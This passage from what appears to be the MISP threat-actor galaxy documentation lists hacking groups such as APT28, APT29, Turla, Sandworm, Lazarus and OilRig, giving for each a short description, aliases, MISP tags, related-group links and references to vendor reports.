- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-

probability="likely"

Table 3725. Table References

Links
http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf
https://www.secureworks.com/research/the-curious-case-of-mia-ash
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://www.cfr.org/interactive/cyber-operations/operation-cleaver
https://www.cfr.org/interactive/cyber-operations/magic-hound

Sands Casino

The tag is: *misp-galaxy:threat-actor="Sands Casino"*

Rebel Jackal

This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.

The tag is: *misp-galaxy:threat-actor="Rebel Jackal"*

Rebel Jackal is also known as:

- FallagaTeam

Viking Jackal

The tag is: *misp-galaxy:threat-actor="Viking Jackal"*

Viking Jackal is also known as:

- Vikingdom

Sofacy

The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.

The tag is: *misp-galaxy:threat-actor="Sofacy"*

Sofacy is also known as:

- APT 28
- APT28
- Pawn Storm
- PawnStorm
- Fancy Bear
- Sednit
- TsarTeam
- Tsar Team
- TG-4127
- Group-4127
- STRONTIUM
- TAG_0700
- Swallowtail
- IRON TWILIGHT
- Group 74

Sofacy has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"

Table 3726. Table References

Links
https://en.wikipedia.org/wiki/Sofacy_Group
https://aptnotes.malwareconfig.com/web/viewer.html?file=../APTnotes/2014/apt28.pdf
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://www2.fireeye.com/rs/848-DID-242/images/wp-mandiant-matryoshka-mining.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/
https://www.cfr.org/interactive/cyber-operations/apt-28
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/
https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/

APT 29

A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '

The tag is: *misp-galaxy:threat-actor="APT 29"*

APT 29 is also known as:

- Dukes
- Group 100
- Cozy Duke
- CozyDuke
- EuroAPT
- CozyBear
- CozyCar
- Cozer
- Office Monkeys
- OfficeMonkeys
- APT29
- Cozy Bear

- The Dukes
- Minidionis
- SeaDuke
- Hammer Toss

APT 29 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT29 - G0016" with estimative-language:likelihood-probability="likely"

Table 3727. Table References

Links
https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.cfr.org/interactive/cyber-operations/dukes
https://pylos.co/2018/11/18/cozybear-in-from-the-cold/

Turla Group

A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'

The tag is: *misp-galaxy:threat-actor="Turla Group"*

Turla Group is also known as:

- Turla
- Snake
- Venomous Bear
- Group 88
- Waterbug
- WRAITH
- Turla Team
- Uroburos
- Pfinet
- TAG_0530
- KRYPTON
- Hippo Team

Turla Group has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"

Table 3728. Table References

Links
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://www.circl.lu/pub/tr-25/
https://www.theguardian.com/technology/2014/aug/07/turla-hackers-spying-governments-researcher-kaspersky-symantec
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://securelist.com/blog/research/67962/the-penquin-turla-2/
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://www.cfr.org/interactive/cyber-operations/turla
https://www.bleepingcomputer.com/news/security/turla-outlook-backdoor-uses-clever-tactics-for-stealth-and-persistence/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/

Energetic Bear

A Russian group that collects intelligence on the energy industry.

The tag is: *misp-galaxy:threat-actor="Energetic Bear"*

Energetic Bear is also known as:

- Dragonfly
- Crouching Yeti
- Group 24
- Havex
- CrouchingYeti
- Koala Team

Energetic Bear has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="likely"

Table 3729. Table References

Links
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
http://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans
https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/
https://www.cfr.org/interactive/cyber-operations/crouching-yeti

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

The tag is: *misp-galaxy:threat-actor="Sandworm"*

Sandworm is also known as:

- Sandworm Team
- Black Energy
- BlackEnergy

- Quedagh
- Voodoo Bear
- TEMP.Noble

Sandworm has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="GreyEnergy" with estimative-language:likelihood-probability="likely"

Table 3730. Table References

Links
http://www.isightpartners.com/2014/10/cve-2014-4114/
http://www.isightpartners.com/2016/01/ukraine-and-sandworm-team/
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.us-cert.gov/ncas/alerts/TA17-163A
https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid
https://www.cfr.org/interactive/cyber-operations/black-energy

TeleBots

We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group.

The tag is: *misp-galaxy:threat-actor="TeleBots"*

TeleBots is also known as:

- Sandworm

TeleBots has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"

Table 3731. Table References

Links
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

Anunak

Groups targeting financial organizations or people with significant financial assets.

The tag is: *misp-galaxy:threat-actor="Anunak"*

Anunak is also known as:

- Carbanak
- Carbon Spider
- FIN7

Anunak has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"

Table 3732. Table References

Links
https://en.wikipedia.org/wiki/Carbanak
https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
http://2014.zeronights.ru/assets/files/slides/ivanovb-zeronights.pdf
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://blog.cyber4sight.com/2017/04/similarities-between-carbanak-and-fin7-malware-suggest-actors-are-closely-related/
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/

TeamSpy Crew

The tag is: *misp-galaxy:threat-actor="TeamSpy Crew"*

TeamSpy Crew is also known as:

- TeamSpy
- Team Bear
- Berserk Bear
- Anger Bear

TeamSpy Crew has relationships with:

- similar: misp-galaxy:threat-actor="Berserk Bear" with estimative-language:likelihood-probability="likely"

Table 3733. Table References

Links
https://securelist.com/blog/incidents/35520/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/
https://www.cfr.org/interactive/cyber-operations/team-spy-crew

BuhTrap

The tag is: *misp-galaxy:threat-actor="BuhTrap"*

Table 3734. Table References

Links
http://www.welivesecurity.com/2015/11/11/operathion-buhtrap-malware-distributed-via-ammyy-com/

Berserk Bear

The tag is: *misp-galaxy:threat-actor="Berserk Bear"*

Berserk Bear has relationships with:

- similar: misp-galaxy:threat-actor="TeamSpy Crew" with estimative-language:likelihood-probability="likely"

Wolf Spider

The tag is: *misp-galaxy:threat-actor="Wolf Spider"*

Wolf Spider is also known as:

- FIN4

Boulder Bear

First observed activity in December 2013.

The tag is: *misp-galaxy:threat-actor="Boulder Bear"*

Shark Spider

This group’s activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.

The tag is: *misp-galaxy:threat-actor="Shark Spider"*

Union Spider

Adversary targeting manufacturing and industrial organizations.

The tag is: *misp-galaxy:threat-actor="Union Spider"*

Table 3735. Table References

Links
http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Silent Chollima

The tag is: *misp-galaxy:threat-actor="Silent Chollima"*

Silent Chollima is also known as:

- OperationTroy
- Guardian of Peace
- GOP
- WHOis Team

Table 3736. Table References

Links
http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Lazarus Group

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.

The tag is: *misp-galaxy:threat-actor="Lazarus Group"*

Lazarus Group is also known as:

- Operation DarkSeoul
- Dark Seoul
- Hidden Cobra
- Hastati Group
- Andariel
- Unit 121
- Bureau 121
- NewRomanic Cyber Army Team
- Bluenoroff
- Group 77
- Labyrinth Chollima
- Operation Troy
- Operation GhostSecret
- Operation AppleJeus
- APT38

Lazarus Group has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"

Table 3737. Table References

Links
https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://securelist.com/lazarus-under-the-hood/77908/
http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf
https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/
https://www.cfr.org/interactive/cyber-operations/lazarus-group
https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret

https://securelist.com/operation-applejeus/87553/
https://www.cfr.org/interactive/cyber-operations/compromise-cryptocurrency-exchanges-south-korea
https://www.bleepingcomputer.com/news/security/lazarus-group-deploys-its-first-mac-malware-in-cryptocurrency-exchange-hack/
https://content.fireeye.com/apt/rpt-apt38

Viceroy Tiger

The tag is: *misp-galaxy:threat-actor="Viceroy Tiger"*

Viceroy Tiger is also known as:

- Appin
- OperationHangover

Table 3738. Table References

Links
http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

Pizzo Spider

The tag is: *misp-galaxy:threat-actor="Pizzo Spider"*

Pizzo Spider is also known as:

- DD4BC
- Ambiorx

Corsair Jackal

The tag is: *misp-galaxy:threat-actor="Corsair Jackal"*

Corsair Jackal is also known as:

- TunisianCyberArmy

Table 3739. Table References

Links
https://www.crowdstrike.com/blog/regional-conflict-and-cyber-blowback/

SNOWGLOBE

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

The tag is: *misp-galaxy:threat-actor="SNOWGLOBE"*

SNOWGLOBE is also known as:

- Animal Farm

Table 3740. Table References

Links
https://securelist.com/blog/research/69114/animals-in-the-apt-farm/
https://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france
http://www.cyphort.com/evilbunny-malware-instrumented-lua/
http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/
https://blog.gdatasoftware.com/blog/article/babar-espionage-software-finally-found-and-put-under-the-microscope.html
https://www.cfr.org/interactive/cyber-operations/snowglobe

Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been **the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies**. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear

The tag is: *misp-galaxy:threat-actor="Deadeye Jackal"*

Deadeye Jackal is also known as:

- SyrianElectronicArmy
- SEA

Table 3741. Table References

Links
https://en.wikipedia.org/wiki/Syrian_Electronic_Army

Operation C-Major

Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.

The tag is: *misp-galaxy:threat-actor="Operation C-Major"*

Operation C-Major is also known as:

- C-Major
- Transparent Tribe
- Mythic Leopard

Operation C-Major has relationships with:

- similar: misp-galaxy:microsoft-activity-group="https://www.cfr.org/interactive/cyber-operations/mythic-leopard" with estimative-language:likelihood-probability="likely"

Table 3742. Table References

Links
http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.amnesty.org/en/documents/asa33/8366/2018/en/
https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/

Stealth Falcon

This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.

The tag is: *misp-galaxy:threat-actor="Stealth Falcon"*

Stealth Falcon is also known as:

- FruityArmor

Stealth Falcon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"

Table 3743. Table References

Links
https://citizenlab.org/2016/05/stealth-falcon/
https://www.cfr.org/interactive/cyber-operations/stealth-falcon

ScarCruft

ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.

The tag is: *misp-galaxy:threat-actor="ScarCruft"*

ScarCruft is also known as:

- Operation Daybreak
- Operation Erebus

ScarCruft has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"

Table 3744. Table References

Links
https://securelist.com/blog/research/75082/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/

Pacifier APT

Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail.

The tag is: *misp-galaxy:threat-actor="Pacifier APT"*

Pacifier APT is also known as:

- Skipper
- Popeye

Table 3745. Table References

Links
http://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf

HummingBad

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder

The tag is: *misp-galaxy:threat-actor="HummingBad"*

Table 3746. Table References

Links
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

Dropping Elephant

Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

The tag is: *misp-galaxy:threat-actor="Dropping Elephant"*

Dropping Elephant is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit

Dropping Elephant has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"

Table 3747. Table References

Links
https://securelist.com/blog/research/75328/the-dropping-elephant-actor/
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries
https://blogs.forcepoint.com/security-labs/monsoon-analysis-apt-campaign
https://www.cymmetria.com/patchwork-targeted-attack/

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.

The tag is: *misp-galaxy:threat-actor="Scarlet Mimic"*

Scarlet Mimic has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Scarlet Mimic - G0029" with estimative-language:likelihood-probability="likely"

Table 3748. Table References

Links
https://attack.mitre.org/wiki/Groups
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Poseidon Group

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.

The tag is: *misp-galaxy:threat-actor="Poseidon Group"*

Poseidon Group has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Poseidon Group - G0033" with estimative-language:likelihood-probability="likely"

Table 3749. Table References

Links
https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/
https://attack.mitre.org/wiki/Groups

DragonOK

Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.

The tag is: *misp-galaxy:threat-actor="DragonOK"*

DragonOK is also known as:

- Moafee

DragonOK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"

Table 3750. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://attack.mitre.org/wiki/Groups
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor
http://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor
https://www.cfr.org/interactive/cyber-operations/moafee

Threat Group-3390

Chinese threat group that has extensively used strategic Web compromises to target victims.

The tag is: *misp-galaxy:threat-actor="Threat Group-3390"*

Threat Group-3390 is also known as:

- TG-3390
- Emissary Panda

Threat Group-3390 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"

Table 3751. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://attack.mitre.org
https://www.cfr.org/interactive/cyber-operations/emissary-panda

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to 'Sauron' in the Lua scripts.

The tag is: *misp-galaxy:threat-actor="ProjectSauron"*

ProjectSauron is also known as:

- Strider
- Sauron
- Project Sauron

ProjectSauron has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"

Table 3752. Table References

Links
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
https://www.cfr.org/interactive/cyber-operations/project-sauron

APT 30

APT 30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.

The tag is: *misp-galaxy:threat-actor="APT 30"*

APT 30 is also known as:

- APT30

APT 30 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 3753. Table References

Links
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://attack.mitre.org/wiki/Group/G0013
https://www.cfr.org/interactive/cyber-operations/apt-30

TA530

TA530, who we previously examined in relation to large-scale personalized phishing campaigns

The tag is: *misp-galaxy:threat-actor="TA530"*

Table 3754. Table References

Links
https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

GCMAN

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.

The tag is: *misp-galaxy:threat-actor="GCMAN"*

GCMAN has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="GCMAN - G0036" with estimative-language:likelihood-probability="likely"

Table 3755. Table References

Links

https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/

Suckfly

Suckfly is a China-based threat group that has been active since at least 2014

The tag is: *misp-galaxy:threat-actor="Suckfly"*

Suckfly has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Suckfly - G0039" with estimative-language:likelihood-probability="likely"

Table 3756. Table References

Links
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks

FIN6

FIN is a group targeting financial assets including assets able to do financial transaction including PoS.

The tag is: *misp-galaxy:threat-actor="FIN6"*

FIN6 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN6 - G0037" with estimative-language:likelihood-probability="likely"

Table 3757. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf

Libyan Scorpions

Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.

The tag is: *misp-galaxy:threat-actor="Libyan Scorpions"*

TeamXRat

The tag is: *misp-galaxy:threat-actor="TeamXRat"*

TeamXRat is also known as:

- CorporacaoXRat
- CorporationXRat

Table 3758. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

OilRig

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

-Organized evasion testing used the during development of their tools. -Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. -Custom web-shells and backdoors used to persistently access servers.

